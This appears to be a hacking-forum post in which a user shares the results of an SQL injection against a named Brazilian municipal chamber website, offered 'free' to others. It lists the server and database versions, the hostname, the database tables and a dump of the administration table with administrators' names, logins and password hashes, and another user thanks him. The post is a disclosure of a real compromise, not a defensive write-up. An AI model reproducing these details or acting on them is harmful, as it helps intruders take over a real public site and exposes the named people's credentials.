[SuspiciousMinds]

Hi all, here some info about an sql inj for http://www.cmbras.ms.gov.br/   -  maybe useful maybe not, but it's free:


web application technology: Apache, PHP 5.3.28, Apache 2.2.34
back-end DBMS: MySQL >= 5.0.12
banner:    '5.5.61-cll'

current user:    'cmbrasms_site@localhost'

current user is DBA:    False

hostname:    'mdw.mdwebhost.com.br'

Databases [2]:
[*]cmbrasms_site
[*]information_schema

Database: cmbrasms_site
+----------------------+---------+
| Table                | Entries |
+----------------------+---------+
| banner_canal_banner  | 1105    |
| galeria_noticia      | 233    |
| noticias            | 154    |
| banner_canal_arquivo | 33      |
| acessos              | 28      |
| banner_canal        | 12      |
| noticias_tipos      | 12      |
| colunistas_tipos    | 9      |
| secretarios          | 9      |
| secretarios_tipos    | 9      |
| administracao        | 2      |
| noticia_categoria    | 2      |
| banner_cadastro      | 1      |
| banner_tipo          | 1      |
+----------------------+---------+



Database: cmbrasms_site
Table: administracao
[2 entries]
+--------+------------------------------------+------------------------------+----------+--------------------------------+
| id_adm | nome                              | email                        | login    | senha                          |
+--------+------------------------------------+------------------------------+----------+--------------------------------+
| 2      | Eduardo Efrain                    | [email protected] | efrain  | d507271f7c46020a10c960cb217e95 |
| 12    | Câmara Municipal de Brasilândia MS | [email protected]     | imprensa | d58aeed6c76cf482f68b3cd5473140 |
+--------+------------------------------------+------------------------------+----------+--------------------------------+

[sex909023]

thanks myb it will be useful